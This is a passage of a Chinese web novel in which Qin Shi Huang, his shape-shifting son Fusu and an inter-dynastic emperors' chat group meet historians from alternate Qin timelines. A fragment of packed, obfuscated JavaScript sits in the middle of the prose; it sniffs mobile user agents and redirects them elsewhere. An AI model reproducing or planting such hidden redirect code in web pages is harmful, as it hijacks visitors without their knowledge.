蒙卿害他!蒙卿为什么要告诉所有人他在这里?人群里还有需要延年益寿的老头呢! 小太子瑟瑟发抖。 秦政把戏精太子拎了出来: “好了别闹,有朕在谁敢吃你? 扶苏被拎住中间的腰部,头尾耷拉下来。缩着爪子紧贴腹部,导致整条龙看起来像没了腿一样。 有人咦了一声: “太子殿下变成蛇了? 扶苏立刻扭头瞪他: “你才是蛇! 爱吃蛇的人可比爱 吃龙的多,也就后世好多人怕蛇,古代遇到蛇都当加餐的,直接砸死了炖蛇羹。 扶苏哼哼唧唧地跟阿父告状,说这群人果然想吃他。 秦政充耳不闻: “朕带太子出来瞧瞧你们平日里都是怎么办公的。 言下之意太子没见过世面,现在当爹的想给儿子开开眼界了。 诸位便在陛下的示意下各回各位,继续干活去了。扶苏有父亲在,胆子也变大了起来,踩着小云朵很快飘了出去。 既然都来了,肯定要认真视察一下大家的工作。扶苏才不觉得自己是来见世面的呢,他觉得他就是个监工,要帮阿父监督这群人有没有好好干活。 扶苏飘到蒙毅跟前。 蒙毅只好停下笔向他行礼。 扶苏对他说: “蒙卿,你不要行礼,你干你的活,当我不存在就好了。 蒙毅从善如流地答应下来,果真开始认真干起活来。 扶苏看了一会儿,发现他确实没有开小差,果然很靠谱,满意地飘走了。 接着,太子又飘到了一名郎中身边。 郎中下意识想行礼,想起太子说要他们好好干活不许行礼,又按捺住了。只是总忍不住时不时瞄一眼太子殿下,看他在干什么。 干活的时候被领导监工,比考试的时候被老师站在旁边看卷子还恐怖。 哪怕监工的领导只是个什么都不懂的幼崽,郎中也觉得压力很大。他心里没底,就想观察太子殿下的反应,看对方对他的工作是否满意。 结果太子扭头就告状: “阿父!他不好好干活老看我!他肯定是在偷懒! 郎中的冷汗立刻就下来了: “臣没有!臣不是!陛下明鉴! 谁敢当着陛下的面偷懒啊? 上朝打瞌睡这个不算,毕竟早朝冗长又无聊。不牵扯到自己部门的奏事听着真的很容易犯困,他们每天起那么早呢。 秦政示意扶苏不要捣乱: “朕是让你来学习的,不是让你来抓别人错处的。 扶苏哼了一声: “我又没有说错。 秦政只好把儿子拎上,带他去看看其他官署。 众人松了口气。 太好了 ,太子殿下去祸害其他人了,可算放过了他们。 扶苏跟着父亲出去晃了一圈,比起所谓的见世面,其实更重要的作用还是向所有人宣告——大秦太子终于摆脱了猫身,彻底化龙了! 龙子长得和龙不同,反而长得像别的东西,约莫就是混血的关系。相比起来,当然是纯净的神龙模样更具有神性,在政治层面上也更有用。 反正群臣看见了龙形太子后,是彻底不敢再议论什么“太子真的是龙子狴犴不是猫吗这样的话了。 李家幼子跟他大哥李由咬耳朵: “我还以为狴犴的说法是陛下拿出来糊弄人的。 李由让他赶紧闭嘴: “让父亲听见了,你肯定要挨揍。 幸而李斯今日并不在家中。 秦政第二日抽盲盒抽到了个谢谢惠顾的糖果礼包,丢给儿子自己吃去了。 扶苏仗着有父亲宠他,且最近天气又凉快起来,终于不再闷在屋子里不动弹,开始在咸阳宫里上蹿下跳。 不少人都偶遇过龙形太子、鸟形太子、猫形太子和人形太子。对于太子殿下一天变一个模样的现状,从一开始的惊吓到后来接受良好。 扶苏发现吓唬不到人后,就觉得没意思了。 他再一次突然探头,试图把准备摘花的后宫夫人吓一跳。结果那位夫人只是温柔地摸了摸他的小脑袋,告诉他小心些,这花带刺的,不要受伤了。 扶苏只好遗憾地缩回去,放弃了吓唬咸阳宫里的人。 阿父不让他离开宫中,他又没办法出去吓唬臣子,只能乖乖回到父亲身边。外面已经变得不好玩了,他把魔爪伸向了其他地方。 扶苏凑过来撒娇: “阿父,我想玩你那个聊天群。 秦政便打开红包群给他: “玩吧,别发乱七八糟的东西。就算要发,你也用你自己的名义发。 反正不能祸害亲爹的风评。 扶苏开心地答应下来: “我才不会发乱七八糟的东西。 他只是想给叔叔姨姨们打招呼而已。 红包群里的各位都是看着扶苏出生和长大的,非常热情友善。知道是扶苏在和自己聊天,立刻送了一堆见面礼过来。 扶苏 第 253 章 心黑的秦二世 第253章心黑的秦二世 面对始皇帝的要求,系统陷入了长久的沉默。 秦政微微皱眉。 他的要求很过分吗?不就是想提前知道自家崽未来的成就。系统都能说出扶苏是千古明君了肯定是已经预知到了所有未来发展。 若说不能剧透未来这事群里都剧透多少回了。现在大家基本都对自家的发展了若指掌,也不差扶苏一个了。 群里的人难得没有出言拆台。 因为他们各自也都有继承人,或是之前的继承人重新教导过了,或是换了看着还不错的新继承人。 谁不想知道改变后的继承人未来的表现如何呢? 隋文帝私底下同独孤皇后说: “咱们几个儿子看着都不成器 独孤伽罗眼眸一闪: “若秦皇能骗得系统开口你我也能沾沾光也问一嘴了。” 于是她催促丈夫在群里声援一下始皇帝,说不准系统见其他都想知道就会同意告知了。 等秦始皇家的继承人说了,他们其他人的想知道,不也得说?总不能事事都给秦皇汉武他们开特权,群里还是得公平一些的。 扶苏崽可不知道大人们在纠结什么。 小宝贝有独属于他们小孩子的烦恼需要考虑。 [秦二世]:阿父,我不能给你分糖糖吃了。 [幼年秦政]:我不、吃糖。 [秦二世]:那阿父你吃不吃小鱼干? 扶苏记得阿父爱吃鱼,他也爱吃。 他这里有好多叔叔姨姨给他送的海鲜小零食被他统称为了鱼干。 本来是给扶苏一个人吃的但扶苏崽崽是个很孝顺的小崽崽所以他分了一半给阿父。 秦政没两天就给全部吃完了。 扶苏崽只好叹了口气把自己剩下的又分了一半给阿父。 秦政又很快吃完了。 如此反复了好几回,最后小太子只吃到了一点点。 天真无邪的太子殿下根本没意识到大人抢小孩的零食有多过分,只是记住了阿父喜欢吃这个。 所以扶苏从自己的玩具珠子里 拿了一把出来塞进红包里发给群里的叔叔姨姨,和他们换新的小鱼干投喂阿父。 群友们:……陛下你怎么是这种陛下? 秦政也没解释他是不想让小孩吃太多零食才出此下策。虽然大家发的零食没什么添加剂,但扶苏经常会因为吃了太多零食而不吃饭。 他只让群友以后少给扶苏送零食,不要一口气送一大堆,让他当饭吃。 总之现在扶苏手里的零食所剩不多。他又去抓了一把自己的玩具珠子准备和姨姨们交换。 上次的那一把明星姨姨很喜欢说是很值钱的宝石和珍珠。 扶苏人小不认得她也没好意思占小孩的便宜。最后只收了一颗珍珠然后给扶苏买了不少贵价零食作为交换。 魔药师姨姨也收了一颗宝石给他送了几瓶小药水说是强身健体用的。 扶苏算了算自己的库存: “阿父 反正他还可以再找人交换。 秦政扫了一眼他翻出来的家当零食药水这些也就算了怎么还有玩具的? 扶苏振振有词: “阿父那里肯定没有这么好玩的玩具!” 行吧。 秦政并不想打击儿子的积极性但是帝王群真的没法发红包。他就忽悠儿子去想办法把他幼年阿父拉进红包群不然东西再多也送不过去。 扶苏想了想干脆找幼年阿父私聊去了。 群里没了捣乱的小崽子重新回归了沉寂。大家还在等系统的响应一直没等到。 刘彻忍不住了直接找管理员。 [汉武帝]:@管理员怎么回事?系统到底说不说给个准话。 [管理员]:系统死机了你们再等等吧。 [汉武帝]:? 原来系统不是不回答而是程序卡住了正在等待响应。按理来说它不该这么脆弱的但谁让它即将进行剧透的目标是个特殊对象。 想要看透神祇的过往可不容易要不是这个系统足够高级它在一开始就检测不出扶苏的“未来发展”。 事实上它确实没有预知的能力。 大部分聊天群其实都是参考已有的平行位面将那边的历史告诉这边的群友 。而发生了变动之后的未来,聊天群一般是预测不到的。 本群的系统也是一样。 因而系统另辟蹊径,正在解析扶苏封存的记忆。从中分析出扶苏的过往之后,果断锁定目标位面,开始拉人。 绝大多数残缺位面无法联络到完整位面,只能自己关起门来玩耍。 就像之前的【大秦天幕】位面,虽然看似有很多个位面一起观看天幕。其实那十几个位面都是残缺位面自己衍生出来的,再往外联络就联络不上了。 本位面稍稍有些不同,大概是因为金手指太多的缘故。好些金手指都是具有联络多个位面的功能的,这就导致了光靠残缺位面自己没有办法生成足够的位面。 于是帝王群的系统成功解析出了对应位面的坐标,从中拉进来了几个人。 [系统提示]一连串的响起—— [乱世名士]已入群(楼桑位面) [凤秦史官]已入群(梓桑位面) [北秦史官]已入群(扶苏穿异人) [东秦史官]已入群(汉末位面) [玄秦学者]已入群(第四天灾) [贾秦史官]已入群(八王之乱) [秦史教授]已入群(心声泄露) 所有人:???这都是什么东西? [管理员]率先出击:别问我,我不知道,系统拉的人。 好在系统很快给出了答复。 [系统提示]:以上为与秦二世梓桑相关秦朝位面的史学研究者,有疑问请向他们咨询。部分位面入群失败,为不可抗力,请勿投诉系统。 扶苏正和幼年阿父私聊,突然发现群里多出来好多人,好奇地看了两眼。 扶苏崽崽嘟囔了一句: “凤秦……好像在哪里见过。 失忆的父子俩完全没有认出这些人都来自哪个位面。 进群的人也很谨慎,一句话不说。 他们里头有好几个人都是莫名其妙被拉进来的,根本不知道这是个什么东西。但也有两个表现得格外积极,兴奋地主动开口-活跃气氛。 [玄秦学者]:诸位好,听说群里的各位都是来自不同位面的秦史研究者,不知道你们那里的秦朝发展和我们这里是否一致呢?我想,我所在的 位面应该是发展最神奇的一个了。 [秦史教授]:您好我是来自21世纪的秦史学教授贺冬很高兴认识各位。 [玄秦学者]:居然还有21世纪来的吗?那我比你晚一些我这里现在是秦历2246年。 [秦史教授]:秦历?我们这里用的不是秦历而是公元纪年看来我们之间确实差别很大。 [凤秦史官]:我也用的是秦历在下所在的时间线是秦历三百九十一年秦十八世女皇陛下在位。 [玄秦学者]:我这里秦历391年的时候已经传到秦37世了。 [东秦史官]:你们说的太乱了。 [北秦史官]:为何我是北秦史官?我大秦又没有分裂怎么能以南北相称!大秦只是迁都到了北方镇守北境而已! 群里顿时乱成了一锅粥。 帝王们看了一圈插不上嘴但也能看出来这次来的这群史官学者根本就不是群里那位秦始皇所在位面的未来人。 刘彻不满地说: “浪费朕的时间。” 害他白等半天还以为能得知本位面的未来呢。他原本想跟着秦始皇蹭口汤喝问问如果他把皇位传给据儿大汉的未来会不会更好。 卫青劝道: “既然是来自不同秦朝之人 位面发展不同肯定会产生很多奇妙的变化。 比如有些位面拥有的发明创造其他位面就不一定有。还有些位面颁布过的优秀政策其他位面也不见得见过。 刘彻自然知道这个道理因而耐下性子继续看他们聊天。 有人已经比刘彻更急性子地打断了。 [明太祖]:你们少说些没用的有没有好用的新式发明拿出来看看。 然而并不是所有人都搭理他的。 [乱世名士]来自楼桑位面是秦政和扶苏重生前的那个位面。 这个位面虽然是最早经历的但是只走到了大一统后的四百多年。正在经历秦朝之后的那个王朝灭亡时的乱世恰好和正史上三国时期的时间对上了。 无独有偶第二个进群的[凤秦史官]来自重生后的这一世。 始皇帝为 首的龙秦已经覆灭秦十一世女帝箫韶建立凤秦。如今传到了第八代时间线大概在曹操等人的少年时期。 这两个位面压根不认识什么明太祖自然不会给他面子。 往后数的北秦 北秦来自扶苏的小阿父秦帝所在的大秦朝目前应该是秦历三百年左右。 因为北边游牧民族经常反叛于是在大秦完成了复国后新帝选择迁都河北南部史称北秦。 第四位史官来自的东秦则是汉末时父子俩重建的大秦。由于父子二人最初是在东边的兖州发迹的为了有别于汉朝之前的秦朝所以史称东秦。 [玄秦学者]所在的是拥有过第四天灾的混乱位面同时存在吴越争霸、齐桓公燕昭王楚悼王等明主春秋战国时期不同国家杂糅在一起。 系统给它安了玄秦的名字因为秦政父子最初现身时自称“玄鸟”化身就简单粗暴地把玄字拎出来作为和其他大秦的区别了。 毕竟也不能叫鸟秦不是? 玄秦是个没有海外领土和国家的残缺空间只有东亚这一片大陆。所以它的历史发展比较特别时间流速也很快已经进入现代社会了。 贾秦没什么好说的是贾南风在父子二人协助下建立的大秦。东秦、贾秦都还没走到第一次灭亡的时间点。 最后一个秦史教授来自心声泄露的位面。 那里没有历史上的秦朝是偏架空的世界。不过历史发展参考正史只是部分朝代的国号和涌现出的名人不太一样。 这个位面有一个接替在“明朝”之后的大秦取代了清的位置是近代之前的最后一个王朝。 秦政父子在这个位面完成了两次工业革命。所以这边的近代可以直接拿着强盛的国力和外敌对刚如今已经进入共和国时期了。 细数完进来的七个新人竟然只有一个认识明太祖的。 [秦史教授]:这里居然有明朝开国皇帝吗?是真正的明太祖还是cos? 而其他人则纷纷表示——你谁啊?我们凭什么听你的?你让我们拿出新技术我们就拿美得你! 四位来自封建王朝的史官想也没想就拒绝了他们才不会把自己的好东西分享给这些不认识的皇帝。 一位来自乱世的名士倒是比较好说话,但他抱歉地表示自己是世家子弟不懂那些个技术什么的,帮不到各位。 两位来自现代的学者教授是里头最积极的。 [玄秦学者]:技术的话我这里倒是整理了一部分,等下发到群文件中。 毕竟大秦延续了两千多年,历史学者们在研究秦史的过程中,也要研究秦朝的科技发展。历史课本都要学经济文化技术的改进呢,这些都是必修内容。 [秦氏教授]则道:我这边的大秦只延续了两百多年,好在它经历过工业革命。你们要是想知道的话,我可以把工业革命这部分的内容发出来。 朱元璋大喜: “标儿,这人居然能提供工业革命的资料! 群里那位原本的独苗苗历史系研究生因为是个苦逼的未毕业硕士,平时的学业非常忙碌。 他其实也能搜到工业革命的资料,但压根没空去搜。 他又不是研究西方史的,手头的资料都是华夏历史。现搜很费时间,有这功夫他宁愿多睡一会儿懒觉。 这位苦逼的研究生因为能水群的时间不太多,至今还不知道群里的皇帝都是真人而不是cos,基本每隔一个礼拜上来和大家聊聊天。 皇帝们知道的很多未来信息,都是靠着互相试探套话才得到的。 这就让靠后的明清两朝很麻爪了,清朝不肯告诉明朝未来发展,清朝自己又找不到人给他们剧透。 这两个最有希望进行工业革命的朝代现在就卡在“工业革命到底该怎么进行中了,只能派人去海外打探,效率就很低。 可算来了个懂工业革命而且还认真钻研过的未来人,明清皇帝们赶紧叫臣子来进学。 结果这个时候。 [秦始皇]:技术科普先不急,说说你们各自所在的大秦是个什么情况。 朱元璋捏断了毛笔: “秦始皇是不是故意的?! 仗着来的大多都是秦人,企图掌控主动权是吧? 也是,秦朝距离近代那么远,估计根本不着急搞工业化。 朱标头疼地劝解: “爹,那教授不也说了他得先整理资料再发出来吗?就算秦始皇不打断,一时半会儿咱们也拿不到资料。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13658935|110713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 朱元璋冷笑一声: “那就让咱看看他的大秦都发展成了什么稀奇古怪的模样。” 秦始皇的出现就如投入了一颗深海鱼雷那般立刻炸出了大水花。 [凤秦史官]:始皇帝陛下?! [北秦史官]:真的是陛下吗?臣居然能有幸得见陛下本尊? [东秦史官]:可惜本群的存在无法对外人透露否则臣定要告知陛下此事。 [贾秦史官]:见过始皇帝陛下。 恰巧历史系研究生上线看到了这一幕。 [历史研究生]:嚯!这什么粉丝见面大会?话说凤秦贾秦都是什么东西?历史上有这些国家吗? 北秦东秦看着还正常点 贾秦的话或许是哪个姓贾的人建立了一个叫秦的势力? 不知道不过他猜测这三个估计是什么南北朝、五代十国这些乱世中冒出来的小势力然后首领还大言不惭自称秦始皇后人。 剩下那个看名字就不对劲。史学界哪有这么给势力起名的?凤秦绝对是在玩梗吧! 研究生留下了一句“你们城里人真会玩”又匆匆关闭群聊去搜资料了。 今天又要写论文头秃。 秦政忽略了这个家伙只皱着眉看这群史官在那里瞎激动。 [秦始皇]直接点名:凤秦是什么? 果然点名法很好用可以直接在混乱的局势里理出线头。 凤秦史官很快把自己知道的大秦发展大概说了说其他人则乖觉地排队出场。不过几分钟全群都对这几个大秦位面有了初步了解。 [周武皇]:朕方才想起来系统说的仿佛是秦二世梓桑? [乱世名士]:梓桑?没听说过。 [凤秦史官]:梓桑乃二世陛下表字。 [北秦史官]:这名字我倒不知我这里的二世陛下表字不曾记录下来。 毕竟这个位面扶苏扮演的是庄襄王秦二世是秦帝家的小扶苏。 [东秦史官]:什么?梓桑难道不是我东秦太子的表字吗?什么时候成了秦二世的表字?明明是秦五世! 汉末位面是这样的前头还有 个大秦存在。始皇当初承认了子婴秦三世的身份自己称的秦四世扶苏就成了五世。 [玄秦学者]:确实是秦二世扶苏的表字我这里有记载。 [贾秦史官]:咦?我这里叫梓桑的是开国女皇最信任的太傅秦太傅家中之子。 贾南风建立的大秦中父子俩没当过皇帝秦政一直是太傅来着。 [秦史教授]:我们这边的秦朝不按几世几世算是走正常谥号的。主持工业革命的三位皇室成员中九江王恰好表字梓桑。 这个位面秦政直接穿成了中间的某代皇帝不太方便突然改变谥号制度 [凤秦史官]:梓桑就是我们二世陛下的表字!你们都在胡扯什么?! 秦政:…… 秦政看着这混乱成一团的局面揉了揉眉心。 系统这真的不是故意添乱吗? 不想回答就别回答回答不上来又拉进群一堆奇形怪状的家伙局面完全不可控。 秦政现在就想都给他们禁言了。 管理员大概也觉得乱默默给秦政开放了权限。从现在开始他可以管理所有秦朝人员。 秦政果断把四个史官都禁言了剩下的名士学者和教授不归他管人家不是封建王朝大秦的人。 管理员深知不患寡而患不均所以没等其他皇帝开口就也给各自的代表帝王发放了同样的权限。 [汉高祖]缓缓打出一个:? [汉高祖]:朕才是开国皇帝你把权限给刘彻? [汉武帝]:嘻嘻嘻。 [汉高祖]:…… [唐高祖]也很不爽:哼! 他就知道这个群偏心他二儿子! [隋文帝]:群里就朕一个大隋的这个权限给了和没给有什么区别? [管理员]:你不想要我可以收回。 [隋文帝]:……那我还是要吧。 往好处想说不定以后他们大隋也能来这一串的史官呢。 秦政在四个史官里挑挑拣拣思考该把谁先放出来问。 那头名士已经和大家聊上了。 [乱世名士]:虽然我不知道梓桑是谁不过我知道秦二世楼桑。可能是不同位面的表字有所区别我 这边秦二世扶苏记载的表字是楼桑。 秦政的手一顿。 这个人不归他管,他也禁言不了。既然对方先开口了,那就听一听他的分享。 [秦始皇]:不知秦二世是如何治国的?可能算是一代明君? [乱世名士]:自然,他可是秦朝名声最好的一位君王了。 秦楼桑大约就是所有始皇帝预想中儿子需要达成的模样。 名士先给自己改了群名,而后娓娓道来。 [陈寿]:某最近恰在编纂秦史,搜集了一些与秦朝初年相关的书册。 [陈寿]:大一统十二年,始皇帝猝然驾崩,二世皇帝扶苏继位。当时大秦朝中风雨飘摇,因二世早年为六国之人所害,中毒致使身体孱弱,朝野上下都担忧他恐怕会成为第二个秦孝文王。 孝文王正式继位后三天就没了。 秦政心脏一紧。 他扭头看向身边活泼健康的儿子,不敢想他的阿苏如果同样遭遇了这样的事情,他该有多心疼。 扶苏仰头冲父亲甜甜一笑: “阿父你不要着急,我已经在想办法把另一个阿父拉进红包群了,很快就可以成功哒! 他肯定要让所有阿父都吃上好吃的小鱼干。 秦政搂住小宝贝: “朕的阿苏真是孝顺,阿父不吃也没关系的,阿苏留着自己吃吧。 扶苏却没有听: “不行,我要给阿父吃。 说完继续埋头骚扰红包群的系统,要求系统把他的幼年阿父拉进来。系统烦不胜烦,居然真的同意了他的要求。 扶苏开心地立刻给幼年秦政发红包,忙的不亦乐乎。 秦政的心情越发沉重了。 这样乖巧懂事的扶苏,继位的时候也不过而立之年,中毒肯定在这之前。也就是说,六国余孽杀他不成,竟对他十几二十岁的孩子下手,实在丧心病狂。 秦政深吸一口气平复心情。 群里。 [秦昭襄王]杀气腾腾地问道:是谁下的毒?哪国的? [陈寿]:这个没有记载。 [秦始皇]:他后来身体怎么样了? 想必应该是养好了一些,不然如何能够应付大秦的乱局?何况扶苏还能做到